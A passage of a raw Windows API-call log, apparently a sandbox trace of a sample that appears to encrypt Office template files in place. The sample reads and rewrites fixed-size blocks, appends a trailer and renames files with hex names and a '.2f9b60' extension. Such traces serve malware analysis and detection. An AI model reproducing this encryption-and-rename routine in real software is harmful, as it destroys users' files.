2 [0215.794] sprintf (in: _Dest=0x1ce153c6, _Format="%c%c" | out: _Dest="46") returned 2 [0215.794] RtlInitAnsiString (in: DestinationString=0x38f9f768, SourceString="40e62422b789317c9dc432763281598eedb55f753d6c9344cffac0a3aedb67c43c257f07c614b56c2151b046" | out: DestinationString="40e62422b789317c9dc432763281598eedb55f753d6c9344cffac0a3aedb67c43c257f07c614b56c2151b046") [0215.794] RtlAnsiStringToUnicodeString (in: DestinationString=0x38f9f738, SourceString="40e62422b789317c9dc432763281598eedb55f753d6c9344cffac0a3aedb67c43c257f07c614b56c2151b046", AllocateDestinationString=1 | out: DestinationString="40e62422b789317c9dc432763281598eedb55f753d6c9344cffac0a3aedb67c43c257f07c614b56c2151b046") returned 0x0 [0215.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312a960 [0215.794] wcscat (in: _Dest=0x1ce170b0, _Source="40e62422b789317c9dc432" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432" [0215.794] wcscat (in: _Dest=0x1ce170b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432.2f9b60" [0215.795] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432.2f9b60", NtPathName=0x38f9f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\40e62422b789317c9dc432.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310beb0 Thread: id = 2122 os_tid = 0x1470 [0138.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx")) returned 0x20 [0138.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx", dwFileAttributes=0x20) returned 1 [0138.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianReport.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianreport.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d4c [0138.970] GetFileSizeEx (in: hFile=0x1d4c, lpFileSize=0x3908f7e0 | out: lpFileSize=0x3908f7e0*=295765) returned 1 [0138.970] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x48351, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.970] ReadFile (in: hFile=0x1d4c, lpBuffer=0x3908f760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3908f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3908f760*, lpNumberOfBytesRead=0x3908f7a8*=0x4, lpOverlapped=0x0) returned 1 [0139.075] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0139.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b250 [0139.076] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b280 [0139.076] NtQuerySystemTime (in: CurrentTime=0x3908f6a0 | out: CurrentTime=0x3908f6a0*=132462177443230000) returned 0x0 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x70815eb0 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x64223e5a [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x46967cab [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x5a6d2ecf [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x2e7671bc [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x284e6c97 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x78d10751 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x38a24952 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x1e418674 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x1d3cc220 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x4a6c2d37 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x629df63 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x3011e9fa [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x688d47b1 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x2bcc4810 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x69b30e55 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0xe45ed55 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x4565e0e7 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x2150f9f4 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x14fdac77 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x7141d3a [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x54f0a907 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x4dac52ed [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x51f710d5 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x60da34c3 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x4004cc31 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x48599ba2 [0139.076] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x2fe3ed14 [0139.077] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x71634d7c [0139.077] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x5f55cd1f [0139.077] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x21f95455 [0139.077] RtlRandomEx (in: Seed=0x3908f690 | out: Seed=0x3908f690) returned 0x537b8052 [0139.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b2b0 [0139.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b2e0 [0139.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b280) returned 1 [0139.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b1c0) returned 1 [0139.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4210e530 [0139.085] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.085] ReadFile (in: hFile=0x1d4c, lpBuffer=0x4210e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x4210e530*, lpNumberOfBytesRead=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0139.101] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3d0 [0139.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b3d0) returned 1 [0139.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421289a0 [0139.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b3d0 [0139.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0139.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0139.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.102] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.103] WriteFile (in: hFile=0x1d4c, lpBuffer=0x421289a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x421289a0*, lpNumberOfBytesWritten=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0161.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421289a0) returned 1 [0161.000] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.000] ReadFile (in: hFile=0x1d4c, lpBuffer=0x4210e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x4210e530*, lpNumberOfBytesRead=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0165.612] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd8a0 [0165.613] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd8a0) returned 1 [0165.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c885a0 [0165.613] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd8a0 [0165.614] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd870 [0165.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd870) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.614] WriteFile (in: hFile=0x1d4c, lpBuffer=0x41c885a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x41c885a0*, lpNumberOfBytesWritten=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0187.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c885a0) returned 1 [0187.155] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x44755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.155] ReadFile (in: hFile=0x1d4c, lpBuffer=0x4210e530, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x4210e530*, lpNumberOfBytesRead=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0190.638] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x44755, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fb0 [0190.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138fb0) returned 1 [0190.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429adaa0 [0190.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fb0 [0190.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138fe0 [0190.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138fe0) returned 1 [0190.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.641] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.641] WriteFile (in: hFile=0x1d4c, lpBuffer=0x429adaa0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3908f700, lpOverlapped=0x0 | out: lpBuffer=0x429adaa0*, lpNumberOfBytesWritten=0x3908f700*=0x3c00, lpOverlapped=0x0) returned 1 [0205.340] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429adaa0) returned 1 [0205.340] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f670 [0205.341] SetFilePointerEx (in: hFile=0x1d4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.341] WriteFile (in: hFile=0x1d4c, lpBuffer=0x431f4880*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x3908f7b0, lpOverlapped=0x0 | out: lpBuffer=0x431f4880*, lpNumberOfBytesWritten=0x3908f7b0*=0x154, lpOverlapped=0x0) returned 1 [0208.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0208.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba360 [0208.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0208.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0208.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263b60 [0208.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260500 [0208.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202627b0 [0208.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202627b0) returned 1 [0208.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0208.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0208.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce616f0 [0208.714] sprintf (in: _Dest=0x1ce616f0, _Format="%c%c" | out: _Dest="50") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616f2, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616f4, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616f6, _Format="%c%c" | out: _Dest="2f") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616f8, _Format="%c%c" | out: _Dest="5d") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616fa, _Format="%c%c" | out: _Dest="04") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616fc, _Format="%c%c" | out: _Dest="98") returned 2 [0208.714] sprintf (in: _Dest=0x1ce616fe, _Format="%c%c" | out: _Dest="1a") returned 2 [0208.714] sprintf (in: _Dest=0x1ce61700, _Format="%c%c" | out: _Dest="2d") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61702, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61704, _Format="%c%c" | out: _Dest="9b") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61706, _Format="%c%c" | out: _Dest="9a") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61708, _Format="%c%c" | out: _Dest="22") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6170a, _Format="%c%c" | out: _Dest="cb") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6170c, _Format="%c%c" | out: _Dest="dc") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6170e, _Format="%c%c" | out: _Dest="19") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61710, _Format="%c%c" | out: _Dest="76") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61712, _Format="%c%c" | out: _Dest="bc") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61714, _Format="%c%c" | out: _Dest="6d") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61716, _Format="%c%c" | out: _Dest="d8") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61718, _Format="%c%c" | out: _Dest="e0") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6171a, _Format="%c%c" | out: _Dest="62") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6171c, _Format="%c%c" | out: _Dest="4b") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6171e, _Format="%c%c" | out: _Dest="c2") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61720, _Format="%c%c" | out: _Dest="e5") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61722, _Format="%c%c" | out: _Dest="42") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61724, _Format="%c%c" | out: _Dest="3a") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61726, _Format="%c%c" | out: _Dest="84") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61728, _Format="%c%c" | out: _Dest="18") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6172a, _Format="%c%c" | out: _Dest="7a") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6172c, _Format="%c%c" | out: _Dest="d6") returned 2 [0208.715] sprintf (in: _Dest=0x1ce6172e, _Format="%c%c" | out: _Dest="e8") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61730, _Format="%c%c" | out: _Dest="ad") returned 2 [0208.715] sprintf (in: _Dest=0x1ce61732, _Format="%c%c" | out: _Dest="5a") returned 2 [0208.715] RtlInitAnsiString (in: DestinationString=0x3908f828, SourceString="50c2e52f5d04981a2d7a9b9a22cbdc1976bc6dd8e0624bc2e5423a84187ad6e8ad5a" | out: DestinationString="50c2e52f5d04981a2d7a9b9a22cbdc1976bc6dd8e0624bc2e5423a84187ad6e8ad5a") [0208.715] RtlAnsiStringToUnicodeString (in: DestinationString=0x3908f7f8, SourceString="50c2e52f5d04981a2d7a9b9a22cbdc1976bc6dd8e0624bc2e5423a84187ad6e8ad5a", AllocateDestinationString=1 | out: DestinationString="50c2e52f5d04981a2d7a9b9a22cbdc1976bc6dd8e0624bc2e5423a84187ad6e8ad5a") returned 0x0 [0208.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43183760 [0208.716] wcscat (in: _Dest=0x431836c0, _Source="50c2e52f5d04981a2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2" [0208.716] wcscat (in: _Dest=0x431836c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2.2f9b60" [0208.716] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2.2f9b60", NtPathName=0x3908f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\50c2e52f5d04981a2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0208.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4312a460 Thread: id = 2123 os_tid = 0x1480 [0139.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx")) returned 0x20 [0139.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx", dwFileAttributes=0x20) returned 1 [0139.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\MedianResume.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\medianresume.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1da4 [0139.100] GetFileSizeEx (in: hFile=0x1da4, lpFileSize=0x387bfb40 | out: lpFileSize=0x387bfb40*=168167) returned 1 [0139.100] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x290e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.100] ReadFile (in: hFile=0x1da4, lpBuffer=0x387bfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x387bfb08, lpOverlapped=0x0 | out: lpBuffer=0x387bfac0*, lpNumberOfBytesRead=0x387bfb08*=0x4, lpOverlapped=0x0) returned 1 [0139.103] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0139.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b430 [0139.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b460 [0139.103] NtQuerySystemTime (in: CurrentTime=0x387bfa00 | out: CurrentTime=0x387bfa00*=132462177443386000) returned 0x0 [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x69dfabb0 [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x78ad4c3b [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x73dd7d62 [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x187371aa [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x31deac8b [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x16e75754 [0139.103] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x5fe5dc5d [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x721bdf61 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x5d7ff073 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0xd885c8b [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3e43c11 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x10711b03 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3ca0d0be [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x7397ad7a [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x8a9f4a3 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x7d56e497 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3dc5e579 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3b88350d [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x7a06b860 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x61b05fad [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x6b574021 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x5f648b97 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0xa0f548e [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x36f0b8d7 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x2313009e [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x48846993 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x627e33f5 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x41d6812c [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3cb1525f [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x3663ab73 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x46668c0 [0139.104] RtlRandomEx (in: Seed=0x387bf9f0 | out: Seed=0x387bf9f0) returned 0x1ebd8c29 [0139.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0139.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0139.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a1d0 [0139.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0139.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b460) returned 1 [0139.158] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0139.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420f79e0 [0139.158] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.158] ReadFile (in: hFile=0x1da4, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x387bfa60, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x387bfa60*=0x3c00, lpOverlapped=0x0) returned 1 [0139.200] SetFilePointerEx (in: hFile=0x1da4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0139.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b040 [0139.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b040) returned 1 [0139.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42119960 [0139.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b040 [0139.201] RtlAllocateHeap 